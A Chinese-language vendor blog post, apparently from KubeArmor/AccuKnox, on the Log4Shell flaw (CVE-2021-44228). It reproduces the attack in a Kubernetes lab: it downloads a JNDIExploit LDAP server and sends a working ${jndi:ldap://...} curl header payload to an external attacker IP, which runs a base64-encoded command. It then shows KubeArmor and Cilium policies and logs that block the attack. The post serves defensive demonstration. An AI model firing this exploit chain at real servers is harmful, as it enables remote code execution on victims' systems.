2021年12月9日,全球得知了一个新漏洞 CVE-2021-44228,该漏洞影响了 Apache Java日志包log4j。该漏洞的严重性 评分高达 10.0 (最关键的评级),并且可以在与使用此log4j版本的软件交互的主机上实现简单的远程代码执行。这种攻击被称为“Log4Shell”。
目前,log4j版本2.15.0rc2已经发布并修补了此漏洞。 然而,此漏洞的巨大危险在于该日志包的普遍性。 数百万应用程序以及软件提供商在自己的代码中将其作为依赖项使用。
已知最早的检测:2021-12-01 04:36:50 UTC

受影响的版本:
谁受影响?
影响:以父进程运行的用户身份执行任意代码(从公共互联网获取的代码,或系统中已有的lolbin,或仅获取共享密钥或环境变量并将其返回给攻击者)。
目标:运行Java并使用log4j框架记录任何内容的服务器和客户端——主要是服务器端问题,但任何易受攻击的端点都可能成为目标或枢轴点。
下游项目:除非另有证明,否则假定任何包含log4j的项目——包括Elasticsearch、Apache Struts / Solr / Druid / Flink等——都受到影响,需要缓解措施。
受影响的版本:log4j 2.x已确认——log4j 1.x仅间接受影响(先前的信息披露漏洞)(在某些配置下)
设备:不要忘记可能使用Java服务器组件但无法通过未经身份验证的漏洞扫描检测到的设备
日志转发:日志基础设施通常有许多“北向”(将我的日志发送给某人)和“南向”(从某人接收日志)转发/中继拓扑。还必须考虑将它们串联起来以进行利用。
云:多个大型提供商也受到影响(社区整理的CVE-2021-44228易受攻击软件和服务列表可以在这个GitHub仓库中找到)。

步骤#1: 在Kubernetes中部署带有Log4j漏洞的Pod及相关服务
git clone https://github.com/kubearmor/log4j-cve && cd log4j-cve
kubectl apply -f deploy-log4j-k8s.yaml
kubectl get po,svc
NAME READY STATUS RESTARTS AGE
pod/log4j-demo-5d7c84d8b9-vs8ck 1/1 Running 0 1h30m
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
service/kubernetes ClusterIP 10.112.0.1 <none> 443/TCP 4h44m
service/log4j-svc LoadBalancer 10.112.8.158 35.241.165.36 80:30202/TCP 1h30m
请注意,我们已在
default命名空间中部署了存在漏洞的Log4Shell示例应用程序
步骤#2: 下载恶意LDAP服务器
wget https://log4j-knox.s3.amazonaws.com/JNDIExploit-1.2-SNAPSHOT.jar
步骤#3: 在您的PC或云虚拟机上启动LDAP服务器以接收传入流量
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i [<your-private-ip>] -p 8888
可以使用
hostname -I查询私有IP。
确保您的防火墙允许端口1389和8888的流量
步骤#4: 使用cURL命令进行利用
# curl <protocol://victim-ip:port> -H 'X-Api-Version: ${jndi:ldap://<malicious-server-ip>:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
curl http://35.241.165.36 -H 'X-Api-Version: ${jndi:ldap://34.135.86.213:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
这里,第一个IP是我们k8s的外部IP(步骤#1),存在漏洞的示例应用程序正在运行。
第二个IP是恶意LDAP服务器的外部IP(步骤#2)
步骤#5: 通过检查文件/tmp/pwned的创建来确认
kubectl exec -it --namespace default log4j-demo-5d7c84d8b9-vs8ck -- watch -n 2 ls /tmp
将
log4j-demo-5d7c84d8b9-vs8ck替换为步骤#1输出中的Pod。
您应该能在/tmp目录中看到创建了一个名为pwned的文件。
KubeArmor 是一个运行时安全平台,可以帮助安全/DevSecOps团队使用基于应用/系统的控制(例如限制进程生成、限制文件系统访问、限制Pod能力等)来保护他们的工作负载。KubeArmor具有可见性模式,应用/安全团队可以使用该模式启用可见性,从而了解Pod内部发生了什么,例如生成了哪些进程、尝试了哪些文件访问等。KubeArmor的最大优点是作为用户,您还可以提交可以阻止/禁止此类系统操作的策略。
通常,攻击者的目的是要么窃取内部数据,要么进行加密货币挖矿,要么仅仅是在内部应用中制造混乱,使其不可用。在所有这些情况下,攻击者都需要执行一个能够实现其恶意意图的任意程序。Log4j漏洞允许攻击者在内部网络中放置二进制文件。然而,我们可以设置防护栏,不允许JVM生成进程。
以下是一个KubeArmor策略,可以拒绝/阻止Pod中作为Java应用程序子进程生成的任何进程。
apiVersion: security.kubearmor.com/v1
kind: KubeArmorPolicy
metadata:
name: do-not-allow-exec-from-java
spec:
severity: high
message: "disallow execing from java process"
selector:
matchLabels:
app: log4j2
process:
matchPaths:
- path: * #disaallow all paths from the java process
fromSource:
- path: /opt/openjdk-16/bin/java
action:
Block
注意,这里的行为是 Block(阻止)。还要注意 fromSource 条件,它表示只应禁止来自给定进程的执行。本质上,只拒绝Java/JVM的子进程执行。与其他工具不同,KubeArmor能够在运行时 Block(阻止)系统操作。
在很多情况下,可能仍然需要Java/JVM生成某些现有进程。这种情况下,最好 Allow(允许)这些进程。通过允许这些进程,KubeArmor默认拒绝该父进程生成的所有其他进程:
apiVersion: security.kubearmor.com/v1
kind: KubeArmorPolicy
metadata:
name: do-not-allow-exec-from-java
spec:
severity: high
message: "disallow execing from java process"
selector:
matchLabels:
app: log4j2
process:
matchPaths:
- path: /usr/local/bin/myapp
fromSource:
- path: /opt/openjdk-16/bin/java
- path: /usr/local/bin/log4j
fromSource:
- path: /opt/openjdk-16/bin/java
action:
Allow
在这个例子中,myapp 和 log4j 进程仍然允许由Java进程生成,但所有其他进程都被拒绝。
看到上述策略,人们自然会想,我将如何获取进程规范来允许/拒绝?这就是KubeArmor的可见性模式发挥作用的地方:
== Log / 2021-12-12 19:48:37.737160 ==
Cluster Name: Default
Host Name: pandora
Namespace Name: default
Pod Name: log4j-kubearmor
Container ID: 7ccca0b0a09ba86c96d581f695a534d0ec1d7a844f30efc16e0e72568a84cc39
Container Name: log4j-kubearmor
Type: ContainerLog
Source: jspawnhelper
Operation: Process
Resource: /bin/touch /tmp/log4jServerp0wn3d
Data: syscall=SYS_EXECVE
Result: Passed
阻止从JVM/Java进程生成的任何进程会导致以下警报,同时execve被拒绝(注意KubeArmor是一个执行引擎):
== Alert / 2021-12-12 19:57:07.871126 ==
Cluster Name: Default
Host Name: pandora
Namespace Name: default
Pod Name: log4j-kubearmor
Container ID: 7ccca0b0a09ba86c96d581f695a534d0ec1d7a844f30efc16e0e72568a84cc39
Container Name: log4j-kubearmor
Policy Name: do-not-allow-exec-from-java
Severity: 5
Message: disallowed execing from java process
Type: MatchedPolicy
Source: jspawnhelper
Operation: Process
Resource: /bin/touch /tmp/log4jServerp0wn3d
Data: syscall=SYS_EXECVE
Action: Block
Result: Passed
Cilium团队已经提出了他们的分析,介绍如何使用网络策略防止k8s环境中的log4j漏洞利用。本质上,预防策略旨在确保应用最不宽松的DNS策略,从而禁止该领域之外的任何内容。
安全团队在这方面的一个挑战是找出Pod连接的所有可能的FQDN。Cilium提供丰富的网络可见性,使用它可能可以得出Pod访问的完整FQDN集。
除了这些策略之外,还可以采取其他一些预防性策略。
RMI是大多数组织最少使用的功能。在log4j的情况下,RMI默认是启用的,大多数组织可能并不关心是否完全禁用它。因此,如果您的组织没有积极使用该功能,最好完全禁用它。可以使用以下Cilium策略:
apiVersion: "cilium.io/v2"
kind: CiliumNetworkPolicy
metadata:
name: "L4_rule_to_block_RMI_access"
spec:
endpointSelector:
matchLabels:
app: log4j2
ingress:
- fromEndpoints:
toPorts:
- ports:
- port: "1099"
protocol: TCP
...其中1099是默认的RMI端口。
上述规则类型在事后很容易设想。
接下来的明显问题是如何防止未来滥用此类漏洞的可能性。
任意代码执行是一种主要的攻击模式,必须关注什么使代码成为“任意”。在该上下文中,任意可以定义为不属于通常执行上下文的任何内容。
使用零信任(ZTNA)架构要求指定一个最不宽松的策略集,只允许白名单中的操作,并拒绝其他所有操作。因此,拥有零信任姿态可以有效保护组织免受此类攻击的可能性。
然而,在实践中实现零信任更具挑战性。零信任要求组织拥有适当的自动化、软件部署流程以及正确的工具。需要考虑的几点:
跨网络和应用程序/系统的零信任姿态可以定义如下:
KubeArmor提供灵活的策略执行引擎以及正确的策略发现/推荐工具,这些工具精确地帮助组织回答上述问题。Accuknox在构建策略引擎时牢记基本设计原则,即每个策略引擎必须支持可观察性、审计(试运行)和执行选项。
可观察性与策略发现引擎相结合,可以为组织提供所需的最不宽松的策略设置。

如果您想在k8s集群上使用您的工作负载尝试策略发现引擎,请按照此处的手册操作。